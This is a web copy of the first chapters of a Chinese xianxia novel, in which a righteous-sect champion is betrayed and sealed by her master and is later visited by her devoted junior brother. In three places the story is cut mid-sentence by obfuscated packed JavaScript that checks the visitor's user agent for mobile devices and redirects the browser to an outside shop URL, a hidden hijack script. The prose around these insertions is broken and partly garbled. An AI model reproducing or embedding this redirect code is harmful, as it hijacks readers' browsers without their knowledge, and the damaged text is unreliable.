《师姐入魔了怎么办》 1. 背叛 月上中天。 无量宗惊雷峰上的洞府内,陈舒朝盘腿坐在榻上,额角汗珠滑落。 识海内,一道似男似女,虚无缥缈的声音响起。 「嘻嘻嘻,一旦魔气入体,除非身死道消再无拔除的可能,服丹又有何用?魁首您还是死了这条心吧。」 「正道视魔族为仇雠,作为下一任魔君,魁首您千里迢迢回宗求助,就不怕掌门出卖么?」 「啊,您下手轻些……」 陈舒朝全然不予理会,全心全力准备拔除魔气。 十年前,魔君出世,魔族大举入侵修真界,她作为正道魁首带领众修士奋起反抗,最终取得胜利,自己却受了重伤,不幸被圣魔之气浸染。 圣魔之气入体便极难拔除,上任魔君便是因此出世,实力强劲令各方头疼,最终被斩于无量剑下。 自圣魔之气入体,由此引发的心魔便不断变换着声音,或尖锐凄厉,或妖媚妩人,或呢喃细语,一刻不停地蛊惑着她。 无量宗掌门,也就是他的师尊林野鹤得知后,立刻为她炼制了一颗可以压制魔气的丹药,助她拔除魔气。 陈舒朝引动整个惊雷峰的灵气,将其化为白雾盘旋在洞府。 马上了,马上就能拔除—— “咔嚓。” 数里之外,一声细微的冰裂忽地吸引了陈舒朝的注意。 是阵法! 谁在破阵! 刹那间,剑光照亮了整个惊雷峰,刺骨寒意迅速从山顶凝向山脚,山中的飞禽走兽一瞬间被冻住,能抗住合体期全力一击的结界在一剑之下寸寸龟裂。 寒意很快蔓延至洞府,陈舒朝神色一凛,强行压下魔气,握住长剑瞬间闪现至山顶。 结界碎成千万镜片,之前凝聚的整山灵力也“嘭”地一声散开,白雾中陈舒朝敏锐地捕捉到耳后细响,一瞬闪现至来人身后,剑声嗡鸣朝前刺出—— 那人却已站在数里外的虚空之上。 她及时收势,朝那里看去,千仞宗宗主、佛教圣僧和剑道尊者。正道三派顶尖高手竟全聚于此了。 除此之外,还有一个她最不想见到的人。 她的师尊,无量宗掌门,林野鹤。 心下一沉,陈舒朝闭了闭眼,再睁开,终是忍不住,开口问道:“为什么?” “舒朝,”林野鹤一身白衣,立于虚空,“你是正道魁首,在战场多年,该知道魔族有多么可恨,也见过许多因魔气浸染丹田而入魔的修士。” “你看看这苍生,若魔君再次出世,必会生灵涂炭,你难道忍心么?” 我怎会不知? 可我分明没有入魔,也在全力拔除魔气! 若真失败了,我自愿囚于惊雷峰下,再不出世。若理智全失,那无论是兵解而亡,还是死于师尊你手都绝无二话! 可师尊,你明明知道我能剥离魔气,甚至在方才,就差一点就能剥除! 为何非要杀我……甚至不是宗内长老动手,而是请来了三派高手,势必要绝我生路? 万般心绪涌上心头,陈舒朝张了张口,最终只是叹息般说道:“师尊,我差一点就能剥除魔气。” 闻言,千仞宗宗主眸光微闪,剑道尊者握剑的手紧了紧,佛教圣僧双手合十,道了句“阿弥陀佛”,竟无一人后退半步。 “太晚了。” 林野鹤手中的剑吞吐灵气,半分未变。 “已成死局,如何再改?徒儿,要恨,便恨为师吧。” 话音刚落,带着细细雷纹的雷火剑划破虚空,一瞬到了陈舒朝眼前。 心魔幸灾乐祸。 「诶呀,魁首,你最信任的师尊带着外人来杀你了!」 无量剑挡住剑气,借着这一剑的冲击力,她朝着一个方向疾驰而去。 先离开这里,找个地方剥离魔气,其他的以后再做打算! 面前忽然闪现一个人影,雷火剑在他手中嗡鸣,一个照面剑气便猛冲过来。 “放弃吧,你逃不掉的。” 陈舒朝瞳孔一缩,猛地躲开。 她大多都在躲闪和防御,可他招招致命,出手毫不客气。 他是她师尊,引她入道、教她仙法,对她的一招一式最是了解。 每招都朝着她的死穴而去。 见此情景,心魔阴阳怪气地开口。 「啊呀,不愧是无量宗宗主,雷火剑就是锋利啊。」 陈舒朝抿唇,找准时机想要突围。 “阿弥陀佛。” 圣僧摊开一只手掌,一只小巧玲珑的金钟静静躺着。 金钟出来的那一刻,陈舒朝耳中响起密密麻麻的诵经声,一声一声,刺痛着她的识海。 金钟越变越大,魔气凄厉地尖叫着,在丹田内横冲直撞。 「啊啊啊臭和尚,快杀了他!快杀了他!」 “这是……!”千仞宗宗主瞳孔微缩,“镇魔钟!圣僧竟然把这个带来了。” 佛门至宝镇魔钟,有涤荡心灵,镇压邪魔之用,若被封在钟中,就算是大乘期也轻易不能出来。 “阿弥陀佛,此为魁首,当然要小心为上。” 话音刚落,金钟狠狠砸下,陷入地面数尺! 圣僧闭目念咒,嘴唇不断翕动,金钟嗡鸣。 趁此时机林野鹤周身威压暴增,引动了无量宗立宗之基的灵脉! 灵脉中灵气喷涌而出,泰山压顶般的威压全压在陈舒朝身上,令她动弹不得。 数百里外的修士也感受到了这强大的威压。 “好强的威压!” “是哪位大能在此交手?!” “神仙打架,百姓遭殃,快跑,别去找死!” 修士们纷纷朝外逃脱,间或有些修为高的,反其道而行之,欲去观摩一二,若能从中领悟些许,那真是三生有幸! 千仞宗宗主将灵力注入冰面,自冰面浮现出一个繁复的阵法,九转封魔阵一出,古神低语一般的呢喃混合魔气的尖叫充斥着陈舒朝的识海。 原本晴朗的黑夜被乌云遮住,四周灵气翻涌,黑暗中仿佛有什么东西在蠢蠢欲动,无数灵兽匍匐在地,本能地流露出恐惧。 阵法开启带出的风将周围的树木连根拔起,混合着巨石在周围形成一个巨大风暴! 无形的压力悬在所有人头顶,林野鹤神情凝重,不可出一丝一毫的差错。 陈舒朝抬眼,运起全身灵力去抵抗金钟和阵法带来的全部威压。 双方僵持,余波令方圆十里寸草不生。 “咔嚓。” 金钟裂开一条细微的缝,圣僧眼皮狠狠一跳,连忙将钟收起! 陈舒朝身上压力一松,强大的灵力直击阵法。 林野鹤咬牙,“撑住!马上封阵了!” 陈舒朝随意地将唇边的血迹抹去,区区九转封魔阵,也想困住我?! 她握紧无量剑,不顾一切催动丹田, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669374|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴动的灵力游走于全身经脉,最终全部被注入剑中! 剑光如闪电般冲上高空,勾连天地,电闪雷鸣! 千仞宗宗主瞪大了眼,“是天雷,她居然还能引动天雷?!” 来不及思考更多,他只能动用全身灵力去抵挡。 天雷轰隆着劈下,猛烈的冲击波将所有人掀翻在地,林野鹤咳出一口血,摇摇晃晃站起。 “再来。”刚散开一点的乌云迅速聚在一起,电闪雷鸣,蓄势待发。 剑尊瞪大了眼,他五脏六腑都移了位,若再来一次恐怕性命不保! 林野鹤捂着胸口,双手不知道在掐算着什么。 天雷即将再次落下,几人把丹田掏空,又燃了半数精血,全都灌进阵法! 威压让她喘不过来气,陈舒朝强撑着一口气,天雷狠狠劈在所有人身上! 双方僵持不下,天雷步步逼近,剑圣半跪在地,喷出一大片血,浸染了一片土地。 法宝耗尽,灵力也几乎被榨干,只能咬着牙强撑。 再坚持一下,再坚持一下! 某一瞬间,陈舒朝丹田灵力蓦地一空,经脉一根根断裂,尖锐的疼痛刺向识海,耳旁阵阵嗡鸣。 怎么回事……是那枚丹药! 师尊亲自为她炼制的丹药! 为什么?! 四人身上压力骤然一松,林野鹤猛地握紧手掌! 从惊雷峰半山腰的一处山洞内飞出数条锁链,刺穿她的四肢关节,牢牢将她锁在原地,之后迅速收缩,陈舒朝撞上惊雷峰,山体崩塌,万千石块崩落。 天地安静一瞬,九转封魔阵不断缩小,直至包围整个山洞。 阵法大成,四周寂静得仿若空无一物。 天雷消失,乌云散去,月光重现,几人惊魂未定,隔了好久,才有人问道:“这样……就可以了么?” 九转封魔阵开启后便再难以进入,林野鹤沉默片刻,上前,他咬破指尖,在手心画了一个繁复的符文,血色符文中仿佛有金色的光芒流淌,他用力将其拍在地面! 乌云重新遮住月光,一道强烈的天雷灌入惊雷峰,锁链上闪过道道电弧,刺激着陈舒朝的神经。 “她实力太强,九转封魔阵无法灭杀她,再加上九天玄雷便可慢慢磨灭她的生机。” 阵法内,陈舒朝将这句话完完全全听进耳中。 仙人抚我顶,结发受长生。自入道起,师尊教她剑法,为她解答疑惑,赠送她法宝,就连跟了她几十年的剑,也是师尊送她的。 可如今,锁链穿骨带来直击灵魂的疼痛,阵法的压力让她喘不过来气,还有丹药,那是压死骆驼的最后一根草! 她始终想不明白。 只觉得痛彻心扉。 她一把摧毁了无量剑,闭上眼,咬着牙,一字一句道: “若我出阵,必杀汝等!” 带的恨意的声音传入耳中,众人心中猛地一颤。 林野鹤转身,“阵法已成,魔孽无法逃脱,不必担忧。” 圣僧双手合十,“阿弥陀佛,贫僧先行离开。” 几人纷纷表示告别,林野鹤双手抱拳,“此次多亏有诸位,诸位损失良多,来日必当重谢。” 陈舒朝被锁在洞内,几乎不能动弹,胸腔之中仿佛有什么在熊熊燃烧。 不知过了多久,她体内丹田处浮现出金色的光芒,在缓缓修复着她的身体。 微小到无人察觉。 2. 三十年 这是魔头被封印的第三十年。 无量宗依旧是四宗之首,屹立于中都,绵延千里,群山林立。 一艘巨大的木质飞舟驶往主峰,朝阳为它镀上一层金色的光。 飞舟之上,一位看似十七八岁的少年执剑而立,剑眉入鬓,一双丹凤眼微微垂着,长睫遮住了眼中的情绪。 这是师姐被封印的第三十年。 下方吵吵嚷嚷,偏峰上一位老者在教育坐在石上的稚童。 “想当年,那位魔头因天资绝艳,年仅百岁便已是大乘尊者。魔尊出世,她主动拦起大责,作为正道魁首,仅用十年便杀了魔尊——” 他说着摇了摇头:“可惜啊,不幸被圣魔之气浸染,伤人无数,成了人人喊打喊杀的魔头。” 稚童瞪大了眼睛,魔头的故事传了三十年,之前他也听说过一些,大约都是「不听话要被魔头抓去」啦,「晚上不回家会被魔头吃掉」啦等等一些哄小孩的,连这魔头是男是女,叫什么名字都不知道,第一次接近这样的故事,不由得急切: “然后呢,然后呢?” 老者摸了摸胡须:“魔头实力太强,没人能拿她怎么样。最后啊,是她自己幡然醒悟,将自己封印在惊雷峰下。那日的动静,可谓是方圆百里,狂风大作,电闪雷鸣,灵气冲天。此后,整座山峰都成了禁地,三十年来无人踏足。” “算算时间,要不了二十年,她便会在禁地里化为飞灰。” 当年的记忆已经模糊,这些都是卷宗上记载的,孰真孰假,没人分得清。 他叹了口气,起身去教导刚入门的孩子们,稚童跟在他身后追问:“那结果来说不是好的吗,为什么要叫她魔头?” “因为她杀了许多人是事实,若不是最后残存一丝理智,恐怕比魔尊还要罪孽深重。” 稚童似懂非懂地点点头,跟上去,犹豫着问出了他最想知道的问题:“那她叫什么?是男是女?” “是个女娃,叫……” 声音渐弱,两人渐行渐远,入了山门,再也看不到身影。 少年站在飞舟上默不作声,手掌却悄悄握紧。 那「女娃」叫陈舒朝,是他的师姐。他们的师尊是无量宗掌门林野鹤。 四十年前,是师姐亲自带他回宗,拜师学道。 如今…… 他不信。 飞舟降在山门,江砚辞顺着台阶往下,待彻彻底底接触到地面,飞舟化为一个小小的模型,被他收回储物袋中。 身为掌门弟子兼修真界第二年轻的元婴期修士,刚一落地,周围便围了一大堆弟子。 他们瞪圆着眼睛,一个个七嘴八舌,对他表现出十足的热情。 “师兄,你可回来了!这次收获怎么样?” “师兄,这次回来多久?什么时候去切磋一把!” “师兄,你上次教我的剑招我已经学得炉火纯青了,不信你看!” “师兄,两个月后便是宗门大比了,你会去么?” “师兄……” 江砚辞平日在宗门里独来独往,性子却是出了名的温和多礼,待人谦和,无论拿着多么简单的问题去找他,他都能面不改色地给你解释清楚; 若是困难繁琐的问题,他则能够讲得通俗易懂,末了,还会贴心地问一句“听懂了么”,没听懂,他也能耐心地再讲一遍。 因此格外受弟子们的欢迎。 被这么多人包围着,他没有一丝不耐,语气甚至是温和的:“抱歉,历练中有所顿悟,需要即刻闭关,有什么事等我出关后再聊,可以么?” 这是令人无法反驳的理由,修仙讲究机缘,而机缘稍纵即逝,大家都明白机会难得,自是没什么意见,让开一条道,让他离开。 走出去老远,还能感受到他们灼热的目光。 少年找了个僻静地,面色一瞬间沉了下来。他警惕地观察四周,又用神识探查了下,确认没人注意到他。 江砚辞深吸一口气,化为一道流光没入远方。 此行的目的地是——惊雷峰。 * 封印陈舒朝用的是九转封魔阵辅以九天玄雷。 九转封魔阵名为「封魔」,实则是个杀阵,只因她实力太过强盛,才无法直接被杀死,只能在阵中慢慢被磨灭生机。 也正因为是个杀阵,正常来说根本不存在「进出」的问题,才一直以来无人能够进入,且并未派人把守。 ——这也方便了他。 前面就是惊雷峰。外面还是晴空万里,随着他的靠近,天空逐渐阴沉下来,乌云聚在一起,摩擦发出轰轰雷声,时不时劈下一道闪电。多年来电闪雷鸣,土地已是焦黑,山体光秃秃的,连一株植物都找不到。 这实在是不像具有「天下第一宗」之称的无量宗地界所能见到的场景。 雷电蕴含着堪比化神期的威压,劈毁了所有生机,他的师姐也将在这无时无刻不停歇的九天玄雷中失去生命。 江砚辞犹记得当年她领他回宗时,那只牵着他的、无比温暖的手。 他不相信那样的人会是他人口中的魔头,他要亲自去看看。 于是他寻找许久,金丹后便极少回宗,借着出任务的名头留意一切有关进出封印的法子。 功夫不负有心人,他终于找到了。 江砚辞抿唇,用力按了按掌心,踏入惊雷峰。 瞬间,玄雷如同长了眼睛,在半空中蓄力,直直朝着他劈来! 狂风大作,在雷电与狂风中,他拔剑出鞘,剑声铮然。 苍梧剑通体银白,在与玄雷接触的顷刻间,两相对峙,狂风荡平周围一切。 江砚辞握着剑,没有半分退让,余波将他的虎口震裂,鲜血顺着小臂滴落在地上。五脏六腑都受到了不同程度的损伤。 细细分辨,这剑居然在吸收玄雷! 密密麻麻的电弧爬上剑身,再从剑柄与手掌的连接处涌入他的身体。 玄雷越来越小。片刻,风平浪静,他还立在那里。 还好。 江砚辞长出一口气。 苍梧剑是他筑基时在剑冢所得,是一把神剑,能够吸收任何攻击化为己用,唯一的限制便是持有者本身。持有者修为越高,能吸收的攻击越强,并且,吸收后的攻击再放出来,强度不会高于持有者本身。 他刚刚踏入元婴,吸收堪比化神的玄雷还是有些勉强。 身形晃了晃,又极力稳住,江砚辞往前走。 山体中间有个山洞,那便是师姐所在的位置。 雷一道道劈下,他一刻不停地往前走。 这里没有白天黑夜的差别,他不知道时间过去了多久。 可能是一天,也可能是一个月。 不过,都不重要了。 他只能感受到周围狂啸的风、自己急促的喘息和心跳,这些都昭示着他还活着。 血一滴一滴落下,聚集在一起,流向更低的地方。 越靠近山洞,寒意越重,流出的血都结了冰,寒冷模糊了痛感。 终于。 他站在了山洞前。 刚靠近一步,一股无形的屏障便将他阻在外面。 他阖上双眼,口中默念法诀,体内灵力瞬间被抽空,他忍不住闷哼一声。 屏障发出水一样的波纹,停息后,便能畅通无阻。 往前走几步,面前是一个石门,深吸了两口气,布满裂痕的手触在上面,又缩了回来。 有些不太敢面对。 找寻了多年,就在眼前了。 江砚辞用袖口擦了擦颊边的血,捏了捏衣角,伸手叩响了门。 等了片刻,石门缓缓升起。 刺骨的寒气涌入四肢百骸。 见到的,却不是曾经的白衣仙尊,而是一身黑衣,魔气缠绕,随意倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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当年将她封印的那帮人应当还在闭关疗伤,至少还要五年才能出来,不该是他们。 那会是谁? 费劲心思进入禁地干什么? 想不出来。 不过,不管是谁派他来的,她都可以想办法利用他,得到最后三个天材地宝。 陈舒朝换了个姿势躺着,眉眼低垂,百无聊赖地唤出魔气。 这里是封魔阵,即便是圣魔之气也虚弱了不少,不再聒噪,乖顺地任她揉捏。 魔气丝丝缕缕将她包围,有些还亲昵地蹭蹭她的脸颊,被她嫌弃地丢开。 算算时间,马上就要第三天了。 若再不来,她就要走了。 剩下的三个天材地宝难寻是难寻了些,但也不是并无办法,就算是会损伤自身,待修复好经脉和丹田,那都可以忽略不计。 最难的是炼丹,她倒是可以炼,不过失败率太高,如若失败便是空亏一溃。 可是,好的炼丹师往往也意味着极强的洞察力,暴露的风险很大。 她赌不起。 思考了片刻,她决定再等会儿。 反正过去这么多年了,也不差这一两天。 “叩叩。” 不过一个时辰,石门被敲响,陈舒朝面上不显什么,一挥手,石门缓缓上升。 一个少年摸样的人出现在门外。 宗服被划开道道口子,破破烂烂的,像个小乞丐。裸露的皮肤上是密密麻麻,像刀割的伤口,还有些被劈得焦黑。 眉毛和睫毛上挂着冰凌,嘴唇被冻得发紫。 他大约是没多少知觉了,没有抱着手臂发抖。只是张了几次嘴也没能说出话,最后一次,他咳了一声才勉强发出声音,说出了一个令她陌生的词—— “师姐。” 3. 再见 少年的声音实在沙哑,像是第一次开口说话,字音咬得不是很准,歪七扭八的。 他受了很重的伤,一双眸子却极亮,在昏暗的洞内熠熠发光。 师姐虽然被魔气环绕着,但他看得出,她还未完全入魔。并且,十分清醒,根本不是外界所传的那样。 陈舒朝辨认了许久,才听出他喊的是什么。 师姐。 陌生的称呼,陌生的人。 她什么时候有了个师弟?那老头子之前还背着她收过一个弟子? 她微微撑直了身子,托腮看着他,仔细打量了半晌,顶着那亮亮的眸子,疑惑地开口:“……师姐?” 眸子暗下去一瞬,又很快亮起:“四十年前,师姐在江家村救下的我。” 啊。 模模糊糊想起了一点。 这下她彻底坐直了身子,仔仔细细又打量了一遍那少年,不怪她方才想不起来。 四十年前她刚见到这孩子时,还是个只会低垂着眼,小心翼翼拉着她衣摆,生怕把她衣裳蹭脏的小可怜。 而现在,虽然外表上看起来狼狈至极,眼里的光彩却怎么也掩不住—— 那是天之骄子独有的眼神。 她原本就是看上了他的天资,才生出要把他带回宗的想法。 林野鹤不怎么管弟子,她原先想的是要亲自教导他,未成想,还未亲耳听到一句「师姐」,便出了变故—— 魔君出世,她身为正道魁首带领众修士去往边界交战。 此后,再也没能回去。这件事也被她抛到脑后。 回过神来,少年站在门口,小心翼翼地拉了拉衣摆。 倒是与当年有了几分相似。 他模样其实没变多少,变的是气质。 陈舒朝站起来,靠近他。 像猫一样脚步很轻,黑色的纱裙曳在地上。 在距离不到一尺的地方停下,女子稍稍踮起脚,再微微低头,鼻尖靠近他的脖颈,轻轻嗅了嗅。 身后的石门缓缓阖上,只有寒冰散发出微弱的光,江砚辞恍惚生出一种,进了猛兽巢穴的错觉。 室内寂静,女子潮热的呼吸喷洒在脖间,身体的所有感知聚集在小小一片,脸颊染上了潮红。 痒。 呼吸、发丝和薄纱。 江砚辞大气不敢喘一下,被她触碰的地方渐渐有了温度,不再被冻得麻木。 鲜血重新流动,热过了头:“师、师姐,怎么了?” “没什么。” 所有温度随着陈舒朝的远去而离开,江砚辞习惯性捏了捏袖角。 陈舒朝现在可以确定,他身上没有当年那四人的气息,也没被人控制或是蛊惑。 他的的确确是顺从自身的意愿而来的。 只是这「意愿」又有多少是他人在暗中推动呢? “你……” 陈舒朝摊倒在榻上,张口欲说些什么,看到他满身的伤,又咽回去。 “你过来。” 江砚辞迈着僵硬的腿乖乖过去,站在榻边,眼睛匆匆一瞟,抿着嘴,微仰着头不敢看她。 师姐大概是太久没见着人了,衣裳穿得并不规整,领口松松垮垮,精致的锁骨落在外面。 好不容易降下去的温度再度回升,颊边忽然贴近了一抹凉意,他眼睫颤了颤,垂眸。 陈舒朝用自己的手背挨挨他的面颊,被烫人的温度灼了下。 怎么还发热了? 修士的体质比凡人要好上许多,再寒冷的天气也极少发热,更何况这少年已达到了元婴,可以称得上是「真人」了。 情况有些糟糕。 陈舒朝蹙起眉头,自两人的接触处渡出丝丝缕缕的灵气,一点点温润着他受伤的身体。 情况的确不容乐观,他现在能站在这里,颇有几分她当年的风范。 陈舒朝控制着每一缕灵气的涌动。 之前她年少轻狂,用起灵力来毫不节省;如今这地方灵气匮乏,她最擅长的便是利用好每一丝灵气,将每一点灵力发挥到极致,没有一丁点浪费。 被灵气包裹着,江砚辞明白了她的用意,不禁唾弃自己方才的想法,配合着师姐的灵力治疗自己。 没过多久,身体恢复了七七八八,涌动的灵气回到陈舒朝体内。 她没有丹田,灵气只能零散地堆积在原本丹田所在的位置,再多出一点便会溃散。 这感觉实在是不爽,处处受限。 “你怎么进来的?” 该说正事了,九转封魔阵并不是一般的封印阵法,他是怎么进来的? 她是不相信误打误撞这样的说辞的。 少年没有隐瞒,一五一十将所有和盘托出:“三个月前我接了一个宗门任务,为一个镇子除妖。” “我在镇中发现一个房间藏有魔气,进去后,跟着魔气找到了一本书。” 江砚辞将一本黑色封皮的书拿出,递给陈舒朝。 陈舒朝随意翻看了几页,坐直了身子。 这是…… 泛黄的纸业上记录了密密麻麻晦涩难懂的公式,各种复杂的推演填满了一页又一页。 其中就有九转封魔阵的记载。 九转封魔阵原先并不叫九转封魔阵,而是九转弑杀阵。至于为什么改名,从这书中可以窥见个大概。 九转弑杀阵威力太强,伤害太高,且会反噬自身,这特性简直跟邪术一模一样。按理来说该被禁用。 但是,他们舍不得这样强大的阵法,便套上了「封魔」的名头,提高学习门槛,当自身足够强大,反噬就算不上什么了。 翻到最后一页,陈舒朝的手顿住了。 这是这本书的主人研究了无数个封印阵以及杀阵后,得出来的结果—— 可以无视任何屏障,任意穿梭的口诀。 只是可惜,这口诀沾染魔气之人学不了。尽管如此,也足够让人称赞。 “太精妙了。” 陈舒朝不禁发出赞叹,她真想见见此人。 只是这样的人,她为何从未听说过? “师姐,”江砚辞换了身干爽的衣裳,一只手在储物袋里掏掏掏,在陈舒朝看过来时,「哗啦」一下,把一大堆东西放在桌上,“你饿了么,要吃点东西么?” 陈舒朝看看桌上的橘子、葡萄、苹果、桂花糕、海棠酥……各种水果糕点应有尽有。 说实在话,陈舒朝确实有点馋,但还不至于为了这点食物失去理智。 “你费这么大劲进来就为了送这点儿东西?” “差不多吧。”他含糊其辞。 这些东西是他做任务时搜罗的,是他自己想吃,来禁地只是想看看师姐。 虽说结果不错,但他看到了师姐旁边一盘用灵力凝出来的葡萄。 “你想对我好?” 江砚辞背对着她,也就看不见她眼睛里那种,审视一般的目光。 他只觉得羞赧。 这并不是居高临下的施舍,而是一种纯粹的、想让身旁的人过得好一点的想法。 他倒没有自大到认为自己可以救出她,只是看她这样,他自己也有些难受。 想尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669376|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己所能,让她过得好一点、再好一点。 他尚且不知道,这种情绪叫做「心疼」,于是扭过头,露出了一个比哭还难看的笑容:“嗯。” 陈舒朝愣了一下,将更加疯狂的晦暗之色掩在眼底。 “那么,”她轻笑,如同毒蛇吐出了信,对着毫无所觉猎物道,“你愿意为了我,取来天残丹么?” 天残丹并不是什么稀罕之物,凭他的实力却也要费些功夫才能拿到。 江砚辞并未多想,应了声。 他现在担心的是,每次进出都要经过九天玄雷的淬炼,是不是早晚有一天会死在路上。 最终,那堆吃食陈舒朝一个也没碰。江砚辞也不强求,将东西留下,出了山洞。 在石门完全阖上的一瞬间,陈舒朝面上的笑容消失不见。 她倒在榻上,背对寒冰桌。 留下这些食物也没用,放在这里没人吃,用不了两天便会坏掉。 “……” 不对。 这里温度堪比雪域,放上月余也不会坏掉。 她站起来,接近了那堆食物,如临大敌地看着它们。 倒不是担心有毒,没什么毒能毒到她。 那她为什么不吃呢? 对啊,她为什么不吃。 食物就摆在眼前,有什么理由去浪费? 想通了这点,她取下一颗葡萄,盯着它看了片刻。 这串葡萄卖相并不好,颜色不均匀,青青紫紫大小不一,有些还坑坑洼洼,让人毫无食欲。 这……真的能吃么? 陈舒朝做足了心理暗示,咬下半个。 清甜的味道在嘴里炸开,果肉紧实,汁水丰富,最重要的是这葡萄它没有籽。 陈舒朝支棱起来,食物的味道让她上瘾,盹也不大了,觉也不睡了,就坐在桌边小口小口地吃着。 顺便放出一丝神识,附在方出去的江砚辞身上。 进去过一遍了,再出来他明显顺畅了许多,伤势也没之前严重,吞几颗补灵丹,就地调养几个时辰便好了大半。 之后便是易容下山。 据她所知,最近一枚天残丹将在明日子时山脚下的宁城拍卖会出售。 他是掌门弟子,钱财问题自是不用担心,打听好位置和时间后,剩下的便是等待。 但—— 他在干嘛? 只见江砚辞先是去各大食品铺子,将所有食物各打包一份,走到山脚,想起什么似的,又拐回去,各种小玩意儿都来了一份。 吃喝玩乐样样齐全。 不知道的还以为是要去往另一个人迹罕至的地方生活。 直到第二次站在山脚下,她才恍然明白了什么。 江砚辞没有丝毫犹豫,踏上惊雷峰,用刚受伤两次的身体再次穿过雷区。 于是。 不到一天,石门第二次被叩响。 江砚辞满脸血污,朝她不好意思地笑了笑。 亏他还笑得出来,换个人连续三次——马上就要连续四次——受这么重的伤都要受不了。 少年却像是不知道自己做了什么令人费解的事一样,将储物袋里的东西一样样往外拿,见桌上放不下,干脆直接将储物袋留下。 “师姐,我以后可能要经常来打扰,这是我准备的拜礼。不必担心九天玄雷,相信师姐也看出来了,我的剑是苍梧神剑,多被雷劈是好事。” 少年絮絮叨叨说完,也不管他师姐什么反应,就溜溜达达地出了山洞。 洞内。 陈舒朝神色复杂。 4. 家 四下无人。 桌上是一些乱糟糟的小玩意儿。 他…… 他费这么大功夫就为了送这么些东西? 陈舒朝实在不能理解,挥手将东西收入灵府。 拍卖会持续两天,她观察了整整两天,未见他与任何人碰头,也没有人在暗中推波助澜。 这真是个因为多年前被她救过一命就死心塌地对她好的傻白甜? 不不,两天时间太短了,得再找个时间试探试探。 拍卖会结束当天傍晚,江砚辞回了惊雷峰。 他将天残丹递给陈舒朝,毫不在意自己一身伤—— 天残丹到底是个宝物,无数人在暗中觊觎,江砚辞刚出拍卖会就遭了埋伏,酣畅淋漓地打了一场,又酣畅淋漓地被雷劈了一场。 唯一的好处大概就是,之前积攒的玄雷都被释放出去了吧。毕竟身体的承受能力有限。 “天残丹好多人在争抢,师姐要这丹药有何用?” 江砚辞笑嘻嘻地,像个找主人邀功的小狗,若是他有尾巴,大概要摇起来了。 陈舒朝接过丹药,就着寒冰发出的微光仔细观察。 上品丹药散发出柔和的气息,指尖触碰到的地方有微微的暖意。 并不是表面上的暖,而是有内向外的、彻彻底底的暖。 她当年随手施下的恩惠,值得对方如此冒险么? 真的只是报恩么? 陈舒朝掩起冷笑,这次没有再出手为他治疗:“我在这里待了多年,寒气已经入骨三分,这丹药可以助我祛除寒气。” 天残丹被称为宝物是有原因的,它可以祛除体内任何与本体冲撞的气息。 这洞内的寒气至纯,于修冰系功法的修士而言,无异于洞天福地。 可她的功法偏雷火,这样的幻境对她来说,处处都是毒素,一呼一吸之间都在摄入慢性毒药。 “那太好了,”少年面上绽出笑容,“师姐你快用吧。” “祛除寒气要月余,这期间我不能动用太多灵力,你……师弟可否为我护法?” 他果然顿了下一下,现出犹豫之色,“可以是可以,毕竟我本就对我宣称自己闭关了,但是我最多只能待一个月零二十七天,因为这之后是宗门大比,我之前答应过会参加。” “宗门大比?” 陈舒朝若有所思。 这是个好机会。 “宗门大比一年一届,形式多样奖品丰厚。只要是宗内弟子,无论内外门,修为过了金丹都能参加。今年是第十届,听说奖品和往年会有不一样,且呈保密形式,这几日同门都在讨论,空前热闹。” 陈舒朝了解了:“放心,用不了那么长时间。只是诸多事情,不知该如何感谢。” 江砚辞连忙摆手:“不用不用,玄雷于我有益,来找师姐也是为了我自己修为的提升,毕竟我骗他们说在闭关,若出去后修为一点也没变,说不过去。” 正合她意,若他真的说出要某些具体的谢礼,那才不好办了。 陈舒朝收起天残丹,转而拿出一只耳坠:“这是我炼的法器,可以让你在雷区自由穿梭,不会被劈。” 她靠近,打量他的耳垂。 “没耳洞么?” “是……” 「是」字还未完全出口,女子倏然贴近,又倏然远去。 刺痛只在一瞬间,戴上后,她凝出了一面水镜给他看。 耳坠样式简单,一枚青色珠子,配以同色流苏,挂在他的左耳上,随着他的动作晃动。 耳上突然多出个东西,他还不甚习惯,伸手摸了摸。 陈舒朝对自己的作品挺满意的,少年本身就长得清秀,戴上耳坠,平添几分妖冶与桀骜,比起小狗,现在更像是用美貌诱惑人类的狐狸。 还有,耳垂因为方才一瞬的创伤而发红,这红色蔓延到脸上,脖颈上。 活像个害羞的小郎君。 “师姐,”江砚辞无意识摸上流苏,“它叫什么?” “我没给它取名字。送你了,你的东西,自己取名。” 若她取名,那这耳坠恐怕就只有叫小青的命了。 “那它就叫——” 江砚辞想了想,缓缓开口。 陈舒朝也好奇他能取出个什么名字来,凝神去听。 少年的嘴一张一合,吐出了一个惊为天人的名字:“小青吧。” 陈舒朝:“……” 该说不说,他们不愧是师姐弟。 “师姐,”江砚辞戴着小青到处晃悠,看得出来他很喜欢,“我先回去收拾东西了?” 陈舒朝淡淡嗯了一声,不去想那个糟心名字。 * 江砚辞回来得很快,修真之人,讲究简朴,他的东西应当不多。 